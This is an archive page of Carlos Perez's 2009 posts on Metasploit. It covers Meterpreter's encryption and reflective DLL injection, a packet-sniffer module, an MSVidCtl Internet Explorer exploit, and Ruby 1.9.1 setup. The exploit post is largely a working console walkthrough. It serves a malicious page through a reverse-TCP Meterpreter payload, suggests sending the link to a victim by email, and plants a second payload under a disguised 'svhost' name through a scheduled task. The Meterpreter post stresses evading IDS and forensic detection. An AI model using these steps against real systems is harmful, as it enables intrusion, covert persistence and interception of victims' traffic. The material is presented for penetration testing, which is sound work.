Navigation

Entries by Carlos Perez (157)

Monday
Jul132009

Meterpreter Stealthier than Ever

In the development version of Metasploit 3.3 the Meterpreter payload now uses SSL encryption for all of its TLV (Type-Length-Value) formatted commands and for the loading of modules. In addition to this, it now uses Reflective DLL injection to load itself and modules making it now stealthier than ever!

The Meterpreter payload is currently very stealthy being a payload injected into a current process in memory not writing any of its function to disk. Everything is done in memory so a forensic analysis of what happened tends to be difficult unless the memory is dumped and analyzed for the presence of the code.  I typically use it in Windows API mode so the detection of the calls are also difficult.  Now with the addition of Reflective DLL Injection its detection is even more difficult.  To top it all off, SLL is now used for all connections, this means detection via traffic analysis also becomes more difficult.

Meterpreter is now encrypting of all of its traffic using the OpenSSL Library this includes:

      • Loading of Modules (stdapi, incognito, priv, sniffer …etc)
      • TLV Commands
      • Session Traffic
      • Migration

 

Meterpreter as of this writing uses a 1024-bit RSA + SHA1 for the initial keying, then AES-256 or similar once the session key is negotiated. The initial stages of the loading of Meterpreter are not encrypted and susceptible to detection by an IPS or IDS but once loaded, all traffic is secure with TLSv1. Current work is being done to encode the initial stages and modules to make the loading even harder to detect. The traffic can still be MITM since no check for certificate is implemented but the chances for an attacker to be listening on the specific port at the time of the exploit are low, but still possible. This gives the advantage of reducing chances of detection by a IPS/IDS system and secures data in transit which is of great importance for a Pentester since the data of a client is transmitted in encrypted form.

All Meterpreter payload use the Reflecive DLL injection technique as default.  Under the Windows platform, library injection techniques both local and remote have been around for many years.  The original technique as introduced in Meterpreter by Skape employs shellcode to patch the host processes ntdll library at run time and forces the native Windows loader to load a Dynamic Link Library (DLL) image from memory, this DLL is registered with the process so a query for loaded modules of each process will show the loaded DLL. By using programs such as Process Explorer from Winternals or even the tasklist command with the /m switch to show modules one was able to detect the Meterpreter DLL in memory. Reflective  DLL   injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such, the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader.   The main advantage of the Meterpreter library  and its modules loading itself is that it is not registered in any way with the host system and as a result is largely undetectable at both a system and process level. For a defender to detect the presence of Meterpreter, they would have to do an examination of the host memory looking for a piece of memory marked as readable, writable, and executable and then check this memory address for the presence of Meterpreter which it is not a fast and resource light task.  Another method of detection is through the network traffic, but a crafty attacker can inject itself into a process where the traffic patter will not be seen out of the ordinary and with the addition of SSL encryption this becomes a even harder task.

Meterpreter has really come a long way and it keeps improving, making it one of the best payloads for use as exploit or trojan during penetration tests.

Saturday
Jul112009

Meterpreter Sniffer Module

HD released today a early sniffer beta module. This module uses the MicroOLAP Packet Sniffer SDK whish is a commercial product, it can sniff packets from the target system without writing to the filesystem or installing any drivers this adds to the stealthinest of the Meterpreter module. The module automatically excludes its own control traffic from the packet capture. I have tested this module in the following Windows Versions and Privileges:

  • Windows XP SP3 32 Bit - Administrator
  • Windows 2003 SP2 32 bit  - Administrator
  • Windows 2008 SP2 32 bit  - Administrator
  • Vista SP2 32 bit with UAC  - Administrator
  • Vista SP2 32 bit no UAC  - Administrator
  • Windows 7 32 bit with UAC  - Administrator
  • Windows 7 32 bit no UAC  - Administrator
  • Vista SP2 32 bit with UAC  - System
  • Windows 7 32 bit with UAC  - System

It worked on most the configurations without ay problems, except for Windows Vista and Windows 7 with UAC enabled and running as Local Administrator, when ran as system the UAC protection was not able to mitigate the attack.

to start using this module one must only load the module while in a Meterpreter shell on a compromised target. This is achieved in the following manner:

meterpreter > use sniffer
Loading extension sniffer...success.
 
meterpreter >

once the module is loaded one can proceed see the commands added to the console, to see the new commands one must only run the help command:

meterpreter > help
…….
Sniffer Commands
================
 
    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data
    sniffer_interfaces  List all remote sniffable interfaces
    sniffer_start       Capture packets on a previously opened interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet captures on the specified interface

As it can be seen the command allow one to:

  • List the interfaces in the target host
  • Start the packet capture
  • Get a status of the number of packet captured and the size of the captured data
  • Stop the capture
  • Dump the captured data to a pcap file

Lets start by knowing to key pieces of information if not know whish are what OS and under what account I’m running under:

meterpreter > sysinfo
Computer: AWINXP01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > getuid
Server username: ACMEPRODINC\Administrator
meterpreter >

As we can see the target machine is a Windows XP SP2 box and we are running under Domain Admin privileges in this box. We list the interfaces available on this box:

meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
meterpreter >

This command will give use lots of information like the MTU for the packets, if the interface usable for sniffing or not, if it is using DHCP to get its address and if it is a wireless interface. Know that we have the interfaces identified we can start sniffing on one of them:

meterpreter > sniffer_start 1 300000
[*] Capture started on interface 1 (300000 packet buffer)
meterpreter >

When starting the capture one must provide the interface number and the packet buffer to capture, if none is given a packet buffer of 200,000 packets will be used. We can check on the size of the packet capture and number of packets by running the sniffer_stats command and the number of the interface:

meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
        bytes: 17675
        packets: 196
meterpreter >

To clear the cache and save the capture to a file we run the sniffer_dump command and the file where we want to save the data to:

meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap
meterpreter >

Packets are saved in PCAP format and the buffer i the target machine is cleared. We can dump the next buffer and append it to the existing PCAP file if we want:

meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap
meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 216 packets to PCAP file /tmp/capture.cap
meterpreter >

To stop the packet capture we issue the sniffer_stop followed by the interface number to stop the capture:

meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
meterpreter >

We can later examine our captured packets with any tool that can read PCAP files like Wireshark or Network Miner. I hope you find this module as useful as I know the Pauldotcom crew will in our pentests.

Saturday
Jul112009

Exploiting MSVidCtl ActiveX with Metasploit

Recently an exploit for MSVidCtl component of Microsoft DirectShow was found that caused a memory corruption on Internet Explorer 6 and 7 giving shell on the target box under the IE process. Trancer contributed a exploit module to Metasploit to exploit this vulnerability by creating a crafted GIF image. I would like to cover simple example on using the exploit and changing to another Meterpreter session so when the targeted Internet Explorer is killed by the user we do not lose the shell access. Migrate sadly does not work since the process is left in such an unstable state that trying to migrate the Meterpreter session tends to kill the session.

We start by running msfconsole after updating Metasploit to the latest version of Metsaploit dev version:

carlos@loki:~/svn/msf3-dev$ sudo ./msfconsole 
[sudo] password for carlos: 
                |                    |      _) |   
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __| 
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |   
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| 
                              _|                   
       =[ msf v3.3-dev
+ -- --=[ 384 exploits - 261 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 166 aux
msf >

 

We load the exploit module and set our Meterpreter payload and look at the options we have available:

msf > use exploit/windows/browser/msvidctl_mpeg2 
msf exploit(msvidctl_mpeg2) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(msvidctl_mpeg2) > show options
Module options:
   Name     Current Setting  Required  Description                                          
   ----     ---------------  --------  -----------                                          
   SRVHOST  0.0.0.0          yes       The local host to listen on.                         
   SRVPORT  8080             yes       The local port to listen on.                         
   SSL      false            no        Use SSL                                              
   URIPATH                   no        The URI to use for this exploit (default is random)  
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description                           
   ----      ---------------  --------  -----------                           
   EXITFUNC  process          yes       Exit technique: seh, thread, process  
   LHOST                      yes       The local address                     
   LPORT     4444             yes       The local port                        
Exploit target:
   Id  Name                                        
   --  ----                                        
   0   Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0  

 

We set our variables for the PAYLOAD and Exploit module:

msf exploit(msvidctl_mpeg2) > set SRVPORT 80
SRVPORT => 80
msf exploit(msvidctl_mpeg2) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(msvidctl_mpeg2) > set URIPATH secure.html
URIPATH => secure.html
msf exploit(msvidctl_mpeg2) > exploit
[*] Exploit running as background job.
msf exploit(msvidctl_mpeg2) > 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/secure.html
[*]  Local IP: http://192.168.1.158:80/secure.html
[*] Server started.

Now we have the exploit serving a HTML file with the GIF to exploit a target. You can send the link to a target user within an email or thru any other method and once the user clicks the link and opens Internet explorer it gets exploited giving use shell:

[*] Sending HTML to 192.168.1.139:1126...
[*] Sending exploit to 192.168.1.139:1126...
[*] Sending GIF to 192.168.1.139:1126...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (206848 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.139:1127)
msf exploit(msvidctl_mpeg2) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > 

 

This will hang the Internet Explorer on the target machine. We want to migrate as quickly as possible so we can preserve the access, in my tests running migrate caused problems killing so I chose to use the scheduleme Meterpreter script to upload a Meterpreter payload and use the scheduler service to run the payload immediately and get a secondary shell:

 

meterpreter > run scheduleme -i -e ./rmeter.exe 
[*] Uploadingd ./rmeter.exe....
[*] ./rmeter.exe uploaded!
[*] Scheduling command C:\DOCUME~1\labuser\LOCALS~1\Temp\svhost46.exe to run now.....
[*] The scheduled task has been successfully created
[*] For cleanup run schtasks /delete /tn syscheck36 /F
meterpreter > 
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (206848 bytes)
[*] Meterpreter session 2 opened (192.168.1.158:4444 -> 192.168.1.139:1128)
meterpreter > 
Background session 1? [y/N]  
msf exploit(msvidctl_mpeg2) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer: WINXPLAB01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > 

 

We accessed the secondary shell by doing a Crtl-Z and backgrounding the initial session and interacting with the second one. This can be automated by setting the AutoRunScript.

Saturday
Jun202009

Testing Metasploit in Ruby 1.9.1 on Ubuntu

The Metasploit team recently started the experimental support of Ruby 1.9.1 whish provides a considerable performance boost to the framework. Metasploit is the largest Ruby project to date so this means that it is not an easy task to test and make sure that all features and modules are compatible and running to standard in the new version of Ruby. I would like to share how to run Ruby 1.9.1 on your Ubuntu install if you are interested in helping find bugs and improve such a wonderful framework.

sudo apt-get remove ruby irb ri
sudo apt-get autoremove

Installing necessary components for compiling the new version of Ruby:

sudo apt-get install build-essential autoconf wget libreadline5-dev libncurses5-dev zlib1g-dev libsqlite3-dev libssl-dev

Downloading the latest stable version of Ruby 1.9:

wget ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.1-p129.tar.gz

tar xvzf ruby-1.9.1-p129.tar.gz

Then we configure the package, compile and install:

cd ruby-1.9.1-p129
autoconf
./configure --prefix=/usr --enable-pthread
make
sudo make install

Install Rails and bare Gems. You have to be aware that test-unit gem is crucial here.

sudo gem install rails sqlite3-ruby rubygems-update test-unit capistrano

Now we can download the latest version of Metasploit from the SVN and start testing:

svn co http://metasploit.com/svn/framework3/trunk/ msf3-dev
I’m using it for my day to day Metasploit use and for all my script development now to assure that all my scripts will be compatible with it. HD has been very quick at fixing reported bugs. Any bug you find please send the error message and a description of what you where running to msfdev@metasploit.com
Saturday
Jun202009

Scripts are Ruby 1.9.1 Compatible

Today I finished the last modifications to my Meterpreter Scripts to function properly in Ruby 1.9.1 and committed the changes to the Metasploit SVN. Most of the changes very simple and had to do with the new way Ruby manages strings and the conversion of Arrays to strings.  Please do test the script and let me know any problems you might encounter.